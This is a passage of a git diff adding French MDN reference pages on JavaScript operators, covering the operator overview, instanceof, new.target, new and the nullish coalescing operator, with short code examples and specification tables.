Le mot-clé class définit une expression de classe.
+
 {{jsxref("Opérateurs/function*", "function*")}}
+
Le mot-clé function* définit une expression pour une fonction génératrice.
+
{{jsxref("Opérateurs/yield", "yield")}}
+
Cet opérateur permet de suspendre et de reprendre l'exécution d'une fonction génératrice.
+
{{jsxref("Opérateurs/yield*", "yield*")}}
+
Cet opérateur permet de déléguer l'exécution de la fonction à une autre fonction ou un autre objet itérable.
+
{{experimental_inline}} {{jsxref("Opérateurs/async_function", "async function*")}}
+
L'opérateur async function définit une expression de fonction asynchrone.
+
{{experimental_inline}} {{jsxref("Opérateurs/await", "await")}}
+
Cet opérateur permet de stopper et de reprendre l'exécution d'une fonction asynchrone et d'attendre pour la résolution ou le rejet d'une promesse.
+
{{jsxref("Objets_globaux/Array", "[]")}}
+
Littéral initialisateur de tableau.
+
{{jsxref("Opérateurs/Initialisateur_objet", "{}")}}
+
Littéral initialisateur d'objet.
+
{{jsxref("Objets_globaux/RegExp", "/ab+c/i")}}
+
Littéral d'expression rationnelle.
+
{{jsxref("Opérateurs/Groupement", "( )")}}
+
Opérateur de groupement.
+
+ +

Expressions « vers la gauche »

+ +

On affectera des valeurs aux variables à gauche de l'expression.

+ +
+
{{jsxref("Opérateurs/Opérateurs_de_membres", "Opérateurs de membres", "", 1)}}
+
Les opérateurs de membres permettent d'accéder à une propriété ou une méthode d'un objet (objet.propriété et object["propriété"]).
+
{{jsxref("Opérateurs/L_opérateur_new", "new")}}
+
L'opérateur new permet de créer une instance d'un constructeur.
+
new.target
+
Dans les constructeurs, new.target fait référence au constructeur invoqué par {{jsxref("Opérateurs/new", "new")}}.
+
{{jsxref("Opérateurs/super", "super")}}
+
Le mot-clé super permet d'appeler le constructeur parent.
+
{{jsxref("Opérateurs/Syntaxe_décomposition", "...obj")}}
+
L'opérateur de décomposition permet de développer une expression là où on attend plusieurs arguments (pour des appels de fonctions) ou plusieurs éléments (pour les littéraux de tableaux).
+
+ +

Incrémentation et décrémentation

+ +

Les opérateurs d'incrémentation et de décrémentation, suffixe et préfixe :

+ +
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "A++", "#Incr.C3.A9ment_(.2B.2B)")}}
+
Opérateur d'incrémentation suffixe.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "A--", "#D.C3.A9cr.C3.A9ment_(--)")}}
+
Opérateur de décrémentation suffixe.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "++A", "#Incr.C3.A9ment_(.2B.2B)")}}
+
Opérateur d'incrémentation préfixe.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "--A", "#D.C3.A9cr.C3.A9ment_(--)")}}
+
Opérateur de décrémentation préfixe.
+
+ +

Opérateurs unaires

+ +

Une opération unaire est une opération qui ne possède qu'un opérande.

+ +
+
{{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
+
L'opérateur delete permet de supprimer une propriété d'un objet.
+
{{jsxref("Opérateurs/L_opérateur_void", "void")}}
+
L'opérateur void écarte la valeur de retour d'une expression.
+
{{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}
+
L'opérateur typeof permet de déterminer le type d'un objet donné.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "+", "#Plus_unaire_(.2B)")}}
+
Le plus unaire permet de convertir son opérande en une valeur du type Number.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "-", "#N.C3.A9gation_unaire_(-)")}}
+
La négation unaire permet de convertir son opérande en une valeur du type Number puis d'en prendre l'opposé.
+
{{jsxref("Opérateurs/Opérateurs_binaires", "~", "#.7E_.28NON_binaire.29")}}
+
L'opérateur binaire NON (NOT).
+
{{jsxref("Opérateurs/Opérateurs_logiques", "!", "#NON_logique_.28.21.29")}}
+
L'opérateur du NON logique.
+
+ +

Opérateurs arithmétiques

+ +

Les opérateurs arithmétiques utilisent des opérandes numériques et renvoie une valeur numérique.

+ +
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "+", "#Addition_(.2B)")}}
+
L'opérateur d'addition.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "-", "#Soustraction_(-)")}}
+
L'opérateur de soustraction.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "/", "#Division_(.2F)")}}
+
L'opérateur de division.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "*", "#Multiplication_(*)")}}
+
L'opérateur de multiplication.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "%", "#Reste_(.25)")}}
+
L'opérateur du reste.
+
{{jsxref("Opérateurs/Opérateurs_arithmétiques","**","#Exponentiation")}}
+
Opérateur de puissance (exponentiation).
+
+ +

Opérateurs relationnels

+ +

Un opérateur de comparaison permet de comparer deux opérandes et de renvoyer une valeur booléenne selon le résultat de cette comparaison.

+ +
+
{{jsxref("Opérateurs/L_opérateur_in", "in")}}
+
L'opérateur in permet de déterminer si un objet possède une propriété donnée.
+
{{jsxref("Opérateurs/instanceof", "instanceof")}}
+
L'opérateur instanceof permet de déterminer si un objet est une instance d'un autre objet.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "<", "#Op.C3.A9rateur_inf.C3.A9rieur_strict_(<)")}}
+
Opérateur inférieur strict.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", ">", "#Op.C3.A9rateur_sup.C3.A9rieur_strict_(>)")}}
+
Opérateur supérieur strict.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "<=", "#Op.C3.A9rateur_inf.C3.A9rieur_ou_.C3.A9gal_(<.3D)")}}
+
Opérateur inférieur ou égal.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", ">=", "#Op.C3.A9rateur_sup.C3.A9rieur_ou_.C3.A9gal_(>.3D)")}}
+
Opérateur supérieur ou égal.
+
+ +
+

Note : => n'est pas un opérateur. Il s'agit de la notation utilisée pour les fonctions fléchées.

+
+ +

Opérateurs d'égalité

+ +

Un opérateur d'égalité considère deux opérandes et produit un résultat booléen basé sur le résultat de la comparaison.

+ +
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#Egalit.C3.A9_(.3D.3D)")}}
+
Opérateur d'égalité faible.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "!=", "#Inequality_(!.3D)")}}
+
Opérateur d'inégalité faible.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#Identity_.2F_strict_equality_(.3D.3D.3D)")}}
+
Opérateur d'égalité stricte.
+
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "!==", "#Non-identity_.2F_strict_not_equal_(!.3D.3D)")}}
+
Opérateur d'inégalité stricte.
+
+ +

Opérateurs de décalage binaires

+ +

Ces opérations permettent de décaler les bits contenus dans l'opérande.

+ +
+
{{jsxref("Opérateurs/Opérateurs_binaires", "<<", "#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29")}}
+
Opérateur binaire de décalage à gauche.
+
{{jsxref("Opérateurs/Opérateurs_binaires", ">>", "#.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29")}}
+
Opérateur binaire de décalage à droite.
+
{{jsxref("Opérateurs/Opérateurs_binaires", ">>>", "#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29")}}
+
Opérateur binaire de décalage à droite non-signé.
+
+ +

Opérateurs binaires logiques

+ +

Les opérateurs binaires logiques traitent leurs opérandes comme des valeurs sur 32 bits et renvoient une valeur numérique JavaScript correspondant au résultat.

+ +
+
{{jsxref("Opérateurs/Opérateurs_binaires", "&", "#&_.28ET_binaire.29")}}
+
ET binaire (AND).
+
{{jsxref("Opérateurs/Opérateurs_binaires", "|", "#|_.28OU_binaire.29")}}
+
OU binaire (OR).
+
{{jsxref("Opérateurs/Opérateurs_binaires", "^", "#.5E_.28XOR_binaire.29")}}
+
OU exclusif binaire (XOR).
+
+ +

Opérateurs logiques

+ +

Les opérateurs logiques sont généralement utilisés avec des valeurs booléennes et renvoient une valeur booléenne, résultat de l'opération.

+ +
+
{{jsxref("Opérateurs/Opérateurs_logiques", "&&", "#ET_logique_.28&&.29")}}
+
ET logique (AND).
+
{{jsxref("Opérateurs/Opérateurs_logiques", "||", "#OU_logique_.28||.29")}}
+
OU logique (OR).
+
+ +

Opérateur conditionnel ternaire

+ +
+
{{jsxref("Opérateurs/L_opérateur_conditionnel", "(condition ? siVrai : siFaux)")}}
+
+

Cet opérateur renvoie une des deux valeurs fournie en fonction de la valeur logique de la condition.

+
+
+ +

Opérateurs d'affectation

+ +

Un opérateur d'affectation permet d'affecter une valeur à son opérande gauche en se basant sur la valeur de l'opérande droit.

+ +
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "=", "#Assignment")}}
+
Opérateur d'affectation.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "*=", "#Multiplication_assignment")}}
+
Affectation après multiplication.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "/=", "#Division_assignment")}}
+
Affectation après division.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "%=", "#Remainder_assignment")}}
+
Affectation du reste.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "+=", "#Addition_assignment")}}
+
Affectation après addition.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "-=", "#Subtraction_assignment")}}
+
Affectation après soustraction.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "<<=", "#Left_shift_assignment")}}
+
Affectation après décalage à gauche.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", ">>=", "#Right_shift_assignment")}}
+
Affectation après décalage à droite.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", ">>>=", "#Unsigned_right_shift_assignment")}}
+
Affectation après décalage à droite non-signé.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "&=", "#Bitwise_AND_assignment")}}
+
Affectation après ET binaire.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "^=", "#Bitwise_AND_assignment")}}
+
Affectation après OU exclusif binaire.
+
{{jsxref("Opérateurs/Opérateurs_d_affectation", "|=","#Bitwise_OR_assignment")}}
+
Affectation après OU binaire.
+
{{jsxref("Opérateurs/Affecter_par_décomposition", "[a, b] = [1, 2]")}} {{jsxref("Opérateurs/Affecter_par_décomposition", "{a, b} = {a:1, b:2}")}}
+
+

L'affectation par décomposition permet de d'affecter des propriétés d'un objet ou des éléments d'un tableau à plusieurs variables. Cela permet d'utiliser une syntaxe semblable aux littéraux de tableaux/objets.

+
+
+ +

Opérateur virgule

+ +
+
{{jsxref("Opérateurs/L_opérateur_virgule", ",")}}
+
L'opérateur virgule permet d'évaluer plusieurs expressions en une seule instruction et de renvoyer le résultat de la dernière expression.
+
+ +

Fonctionnalités non-standards{{non-standard_inline}}

+ +
+
{{non-standard_inline}}{{jsxref("Opérateurs/Expression_fermetures", "Expression de fermetures", "", 1)}}
+
La syntaxe d'expression de fermeture est un raccourci pour écrire des fonctions simples.
+
{{non-standard_inline}}{{jsxref("Opérateurs/Expression_fonction_génératrice_historique", "", 1)}}
+
Le mot-clé function peut être utilisé afin de définir une fonction génératrice historique. au sein d'une expression.
+
{{non-standard_inline}} {{jsxref("Opérateurs/Compréhensions_de_tableau", "[for (x of y) x]")}}
+
Compréhensions de tableau.
+
{{non-standard_inline}}{{jsxref("Opérateurs/Compréhensions_de_générateur", "(for (x of y) y)")}}
+
Compréhensions de générateurs.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1','#sec-11','Expressions')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-11', 'Expressions')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}{{Spec2('ES6')}}Nouveaux éléments : opérateur de décomposition, affectation par décomposition, mot-clé super .
{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/instanceof/index.html b/files/fr/web/javascript/reference/operators/instanceof/index.html new file mode 100644 index 0000000000..1db76a5bbd --- /dev/null +++ b/files/fr/web/javascript/reference/operators/instanceof/index.html @@ -0,0 +1,173 @@ +--- +title: instanceof +slug: Web/JavaScript/Reference/Opérateurs/instanceof +tags: + - JavaScript + - Operator + - Prototype + - Reference + - instanceof +translation_of: Web/JavaScript/Reference/Operators/instanceof +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur instanceof permet de tester si un objet possède, dans sa chaîne de prototype, la propriété prototype d'un certain constructeur.

+ +
{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}
+ + + +

Syntaxe

+ +
objet instanceof constructeur
+ +

Paramètres

+ +
+
objet
+
L'objet qu'on souhaite analyser.
+
+ +
+
constructeur
+
La fonction dont on souhaite vérifier la présence dans la chaîne de prototypes.
+
+ +

Description

+ +

L'opérateur instanceof teste la présence de constructeur.prototype dans la chaîne de prototypes d'objet.

+ +
function C(){} // Définition du constructeur
+function D(){} // Définition d'un autre constructeur
+
+var o = new C();
+
+// true, car : Object.getPrototypeOf(o) === C.prototype
+o instanceof C;
+
+// false, car D.prototype n'existe pas dans la chaîne de prototype de o
+o instanceof D;
+
+o instanceof Object; // true, car:
+C.prototype instanceof Object // true
+
+C.prototype = {};
+var o2 = new C();
+
+o2 instanceof C; // true
+
+// false, car C.prototype n'existe plus dans la chaîne de prototype de o
+o instanceof C;
+
+D.prototype = new C(); // Utilisation de l'héritage
+var o3 = new D();
+o3 instanceof D; // true
+o3 instanceof C; // true car C.prototype fait partie de la chaîne de o3
+
+ +

À noter que la valeur retournée par instanceof peut être différente suite à un changement de la propriété prototype du constructeur, notamment via la méthode Object.setPrototypeOf(). On peut aussi utiliser la pseudo-propriété __proto__ qui n'était pas standard avant ECMAScript 2015.

+ +

instanceof dans d'autres contextes (frames ou fenêtres)

+ +

Différents niveaux d'intégrations ont différents environnements. Cela signifie que les valeurs retournées sont différentes (objet globaux différents, constructeurs différents, etc.). Cela peut engendrer des résultats inattendus. Par exemple, [] instanceof window.frames[0].Array renverra false, car Array !== window.frames[0].Array et que les tableaux héritent de leur constructeur.

+ +

Cela peut être contre-intuitif au début, mais lorsqu'il est nécessaire de travailler avec plusieurs frames ou fenêtres, et que des objets sont transférés via des fonctions, cela sera un obstacle valide et important. Par contre, il est tout à fait possible d'utiliser Array.isArray(myObj) pour vérifier de manière sécurisée qu'un tableau est effectivement un tableau.

+ +

Ainsi, pour vérifier qu'un nœud est bien un objet de type SVGElement dans un autre contexte, on pourra utiliser monNœud instanceof monNœud.documentMaitre.vue.SVGElement.

+ +
Note aux développeurs Mozilla :
+Dans un code utilisant XPCOM, instanceof a un comportement particulier : obj instanceof xpcomInterface (ex : Components.interfaces.nsIFile) appelle obj.QueryInterface(xpcomInterface) et retourne true si QueryInterface réussit. Un effet indésirable à cela est qu'il est possible d'utiliser les propriétés de xpcomInterface sur obj après un test réussi d'instanceof. Contrairement au JavaScript classique, obj instanceof xpcomInterface fonctionnera comme prévu même si obj appartient à un autre niveau d'organisation (fenêtre, frame, etc.).
+ +

Exemples

+ +

Démonstration que String et Date sont de type Object et cas aux limites des littéraux

+ +

Le code suivant utilise instanceof pour démontrer que les objets String et Date sont aussi de type Object (ils dérivent d'Object).

+ +

Cependant, les objets créés à partir de littéraux objets sont une exception : en effet, bien que leur prototype ne soit pas défini, instanceof Object renvoie true.

+ +
var chaîneSimple = "Une chaîne simple";
+var maChaîne  = new String();
+var newChaîne = new String("Chaîne créée avec un constructeur");
+var maDate    = new Date();
+var monObjet  = {};
+var monNonObjet = Object.create(null);
+
+chaîneSimple instanceof String; //false car le prototype vaut undefined
+maChaîne  instanceof String; // true
+newChaîne instanceof String; // true
+maChaîne  instanceof Object; // true
+
+monObjet instanceof Object;  // true, bien que le protoype soit undefined
+({}) instanceof Object;      // true, comme pour le cas précédent
+monNonObjet instance Object; // false
+
+maChaîne instanceof Date;   // false
+
+maDate instanceof Date;     // true
+maDate instanceof Object;   // true
+maDate instanceof String;   // false
+
+ +

Démonstration que mavoiture est de type Voiture et de type Object

+ +

Le code suivant créé un objet de type Voiture et une instance de cet objet, mavoiture. L'opérateur instanceof montre que l'objet mavoiture est de type Voiture et de type Object.

+ +
function Voiture(fabricant, modele, annee) {
+  this.fabricant = fabricant;
+  this.modele = modele;
+  this.annee = annee;
+}
+var mavoiture = new Voiture("Citroën", "C3", 2006);
+var a = mavoiture instanceof Voiture; // retourne true
+var b = mavoiture instanceof Object;  // retourne true
+
+ +

Attention à la précédence des opérateurs

+ +

Pour tester qu'un objet n'est pas une instance d'un constructeur donné, on pourra faire le test !(monObj instanceof Constructor). Toutefois, attention à ne pas écrire !monObj instanceof Constructor car !monObj serait traité en priorité et on testerait donc false instanceof Constructor qui sera toujours faux.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-relational-operators', 'Opérateurs relationnels')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.8.6', 'Opérateur instanceof')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.8.6', 'Opérateur instanceof')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.instanceof")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Opérateurs/L_opérateur_typeof","typeof")}}
    • +
  • {{jsxref("Symbol.hasInstance")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/new.target/index.html b/files/fr/web/javascript/reference/operators/new.target/index.html new file mode 100644 index 0000000000..63be303c4c --- /dev/null +++ b/files/fr/web/javascript/reference/operators/new.target/index.html @@ -0,0 +1,110 @@ +--- +title: new.target +slug: Web/JavaScript/Reference/Opérateurs/new.target +tags: + - ECMAScript 2015 + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Operators/new.target +--- +
{{JSSidebar("Operators")}}
+ +

La syntaxe new.target est disponible dans toutes les fonctions et permet entre autres de tester si une fonction ou un constructeur a été appelé avec new. Dans les constructeurs, il fait référence au constructeur invoqué par new. Dans les appels de fonction « normaux », new.target vaut {{jsxref("undefined")}}.

+ +
{{EmbedInteractiveExample("pages/js/expressions-newtarget.html")}}
+ + + +

Syntaxe

+ +
new.target
+ +

Description

+ +

La syntaxe new.target se compose du mot-clé new, suivi d'un point puis d'un nom de propriété (ici target). Généralement et par ailleurs, new. est utilisé comme contexte pour accéder à une propriété. Ici, new. ne fait pas réellement référence à un objet. Dans les appels de constructeurs, new.target fait référence au constructeur qui a été appelé par new. Cette syntaxe permet donc de récupérer cette valeur.

+ +

new.target est une méta-propriété, disponible pour toutes les fonctions. Dans les fonctions fléchées, new.target fait référence au new.target de la fonction englobante.

+ +

Exemples

+ +

Utilisation de new.target dans les appels de fonction

+ +

Utilisé dans les appels de fonctions « classiques » (autrement dit pour les fonctions qui ne sont pas des constructeurs), new.target vaut {{jsxref("undefined")}}. Cela permet de détecter si une fonction a été appelée comme constructeur avec new :

+ +
function Toto(){
+  if (!new.target) throw "Toto() doit être appelé avec new"
+  console.log("Toto instancié avec new");
+}
+
+new Toto(); // affiche "Toto instancié avec new" dans la console
+Toto(); // lève l'exception avec "Toto doit être appelé avec new"
+
+ +

Utilisation de new.target dans les constructeurs

+ +

Utilisés dans les appels de constructeurs de classe, new.target fait référence au constructeur utilisé directement avec new. C'est également le cas quand le constructeur est présent dans une classe parente et est délégué depuis le constructeur fils :

+ +
class A {
+  constructor() {
+    console.log(new.target.name);
+  }
+}
+
+class B extends A { constructor() { super(); } }
+
+var a = new A(); // affiche "A"
+var b = new B(); // affiche "B"
+
+class C {
+  constructor() {
+    console.log(new.target);
+  }
+}
+
+class D extends C {
+  constructor() {
+    super();
+  }
+}
+
+var c = new C(); // function C()
+var d = new D(); // function D()
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{SpecName('ES2015', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.new_target")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/new/index.html b/files/fr/web/javascript/reference/operators/new/index.html new file mode 100644 index 0000000000..b82a898dc9 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/new/index.html @@ -0,0 +1,200 @@ +--- +title: L'opérateur new +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_new +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/new +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur new permet de créer une instance d'un certain type d'objet à partir du constructeur qui existe pour celui-ci (natif ou défini par l'utilisateur).

+ +

Le mot-clé new, utilisé avec une fonction, applique les 4 étapes suivantes :

+ +
    +
  1. Il crée un nouvel objet à partir de zéro
    2. +
  2. Il lie cet objet à un autre objet en le définissant comme son prototype.
    3. +
  3. Le nouvel objet, créé à l'étape 1, est passé comme valeur this à la fonction
    4. +
  4. Si la fonction ne renvoie pas d'objet, c'est la valeur this qui est renvoyée.
    5. +
+ +
{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}
+ + + +

Syntaxe

+ +
new constructeur[([arguments])]
+ +

Paramètres

+ +
+
constructeur
+
Une fonction ou une classe qui définit le type de l'objet qui sera une instance.
+
+ +
+
arguments
+
Une liste de valeurs correspondant aux arguments avec lesquels appeler le constructeur.
+
+ +

Description

+ +

La création d'un objet personnalisé se fait en deux étapes :

+ +
    +
  1. Définition du type d'objet en écrivant une fonction.
    2. +
  2. Création d'une instance de l'objet avec new.
    3. +
+ +

Pour définir un type d'objet, créez une fonction pour ce type qui spécifie son nom, ses propriétés et ses méthodes. Un objet peut avoir des propriétés qui sont elles-mêmes des objets, comme on pourra le voir dans les exemples ci-dessous.

+ +

Lorsque le code new Toto(...) est exécuté, voici ce qui se passe :

+ +
    +
  1. Un nouvel objet est créé qui hérite de Toto.prototype.
    2. +
  2. La fonction constructrice Toto est appelée avec les arguments fournis, this étant lié au nouvel objet créé. new Toto sera équivalent à new Toto() (i.e. un appel sans argument).
    3. +
  3. L'objet renvoyé par le constructeur devient le résultat de l'expression qui contient new. Si le constructeur ne renvoie pas d'objet de façon explicite, l'objet créé à l'étape 1 sera utilisé. (En général, les constructeurs ne renvoient pas de valeurs mais si on souhaite surcharger le processus habituel, on peut utiliser cette valeur de retour).
    4. +
+ +

Il est toujours possible d'ajouter une propriété à un objet défini précédemment. Par exemple, l'instruction voiture1.couleur = "noir" ajoute une propriété couleur à voiture1, et lui assigne une valeur : "noir". Cependant, ceci n'affecte aucunement les autres objets. Pour ajouter une nouvelle propriété à tous les objets du même type, cette propriété doit être ajoutée à la définition du type d'objet Voiture.

+ +

Il est possible d'ajouter une propriété partagée par tous les objets d'un type déjà défini auparavant en utilisant sa propriété Function.prototype. Ceci permet de définir une propriété partagée par tous les objets créés avec cette fonction, plutôt que simplement par une seule instance de ce type d'objet. Le code qui suit ajoute une propriété couleur avec la valeur "couleur standard" à tous les objets de type Voiture, et redéfinit ensuite cette valeur avec la chaîne "noir" uniquement pour l'instance d'objet voiture1. Pour plus d'informations, voir la page sur prototype.

+ +
function Voiture() {}
+voiture1 = new Voiture();
+voiture2 = new Voiture();
+
+console.log(voiture1.couleur);            // undefined
+
+Voiture.prototype.couleur = "couleur standard";
+console.log(voiture1.couleur);            // couleur standard
+
+voiture1.couleur = "noir";
+console.log(voiture1.couleur);            // noir
+
+console.log(voiture1.__proto__.couleur);  // couleur standard
+console.log(voiture2.__proto__.couleur);  // couleur standard
+console.log(voiture1.couleur);            // noir
+console.log(voiture2.couleur);            // couleur standard
+
+ +
+

Note : Si on n'écrit pas l'appel du constructeur avec l'opérateur new, le constructeur est appelé comme une fonction normale et ne crée pas d'objet. Dans ce cas, la valeur de this sera différente.

+
+ +

Exemples

+ +

Exemple : type d'objet et instance d'objet

+ +

Supposons que vous vouliez créer un type d'objet pour les voitures. Vous voulez que ce type d'objet s'appelle Voiture, et qu'il ait des propriétés pour la marque, le modèle et l'année. Pour ce faire, vous écririez la fonction suivante :

+ +
function Voiture(marque, modèle, année) {
+   this.marque = marque;
+   this.modèle = modèle;
+   this.année = année;
+}
+
+ +

À présent, vous pouvez créer un objet appelé ma_voiture de la manière suivante :

+ +
ma_voiture = new Voiture("Volkswagen", "Golf TDi", 1997);
+
+ +

Cette instruction crée l'objet ma_voiture et assigne les valeurs spécifiées à ses propriétés. La valeur de ma_voiture.marque est alors la chaîne "Volkswagen", celle de ma_voiture.année est l'entier 1997, et ainsi de suite.

+ +

Il est possible de créer un nombre illimité d'objets Voiture en appelant new. Par exemple :

+ +
voiture_de_ken = new Voiture("Nissan", "300ZX", 1992);
+
+ +

Exemple : propriété d'objet qui est elle-même un autre objet

+ +

Supposons que vous ayez défini un objet appelé Personne de la manière suivante :

+ +
function Personne(nom, age, surnom) {
+   this.nom = nom;
+   this.age = age;
+   this.surnom = surnom;
+}
+
+ +

Et que vous avez ensuite instancié deux nouveaux objets Personne de la manière suivante :

+ +
rand = new Personne("Rand McNally", 33, "Randy");
+ken = new Personne("Ken Jones", 39, "Kenny");
+
+ +

Vous pouvez alors réécrire la définition de Voiture pour contenir une propriété propriétaire qui reçoit un objet Personne, comme ceci :

+ +
function Voiture(marque, modèle, année, propriétaire) {
+   this.marque = marque;
+   this.modèle = modèle;
+   this.année = année;
+   this.propriétaire = propriétaire;
+}
+
+ +

Pour instancier les nouveaux objets, vous utiliserez ensuite :

+ +
voiture1 = new Voiture("Volkswagen", "Golf TDi", 1997, rand);
+voiture2 = new Voiture("Nissan", "300ZX", 1992, ken);
+
+ +

Plutôt que de passer une chaîne littérale ou une valeur entière lors de la création des nouveaux objets, les instructions ci-dessus utilisent les objets rand et ken comme paramètres pour les propriétaires. Pour connaître le nom du propriétaire de voiture2, on peut alors accéder à la propriété suivante :

+ +
voiture2.propriétaire.nom
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-new-operator', 'Opérateur new')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-new-operator', 'Opérateur new')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.2.2', 'Opérateur new')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-11.2.2', 'Opérateur new')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-11.2.2', 'Opérateur new')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.new")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Function")}}
    • +
  • {{jsxref("Reflect.construct()")}}
    • +
  • {{jsxref("Object.prototype")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.html new file mode 100644 index 0000000000..06de88d2b1 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/nullish_coalescing_operator/index.html @@ -0,0 +1,151 @@ +--- +title: Opérateur de coalescence des nuls (Nullish coalescing operator) +slug: Web/JavaScript/Reference/Opérateurs/Nullish_coalescing_operator +tags: + - Coalescence + - JavaScript + - Opérateur + - Reference + - falsy + - nullish +translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator +--- +

{{JSSidebar("Operators")}}

+ +

L'opérateur de coalescence des nuls (??), est un opérateur logique qui renvoie son opérande de droite lorsque son opérande de gauche vaut {{jsxref("null")}} ou {{jsxref("undefined")}} et qui renvoie son opérande de gauche sinon.

+ +

Contrairement à l'opérateur logique OU (||), l'opérande de gauche sera renvoyé s'il s'agit d'une valeur équivalente à false qui n'est ni null, ni undefined. En d'autres termes, si vous utilisez || pour fournir une valeur par défaut à une variable foo, vous pourriez rencontrer des comportements inattendus si vous considérez certaines valeurs falsy comme utilisables (par exemple une chaine vide '' ou 0). Voir ci-dessous pour plus d'exemples.

+ +
{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}
+ + + +

Syntaxe

+ +
leftExpr ?? rightExpr
+
+ +

Exemples

+ +

Utilisation de l'opérateur de coalescence des nuls

+ +

Dans cet exemple, nous fournirons des valeurs par défaut mais conserverons des valeurs autres que null ou undefined.

+ +
const valeurNulle = null;
+const texteVide = ""; // falsy
+const unNombre = 42;
+
+const valA = valeurNulle ?? "valeur par défaut pour A";
+const valB = texteVide ?? "valeur par défaut pour B";
+const valC = unNombre ?? 0;
+
+console.log(valA); // "valeur par défaut pour A"
+console.log(valB); // "" (car la chaine vide n'est ni `null` ni `undefined`)
+console.log(valC); // 42
+ +

Affectation d'une valeur par défaut à une variable

+ +

Auparavant, lorsque l'on voulait attribuer une valeur par défaut à une variable, une solution fréquente consistait à utiliser l'opérateur logique OU (||) :

+ +
let toto;
+
+// toto ne se voit jamais attribuer de valeur, il vaut donc undefined
+let unTexteBateau = toto || 'Coucou !';
+ +

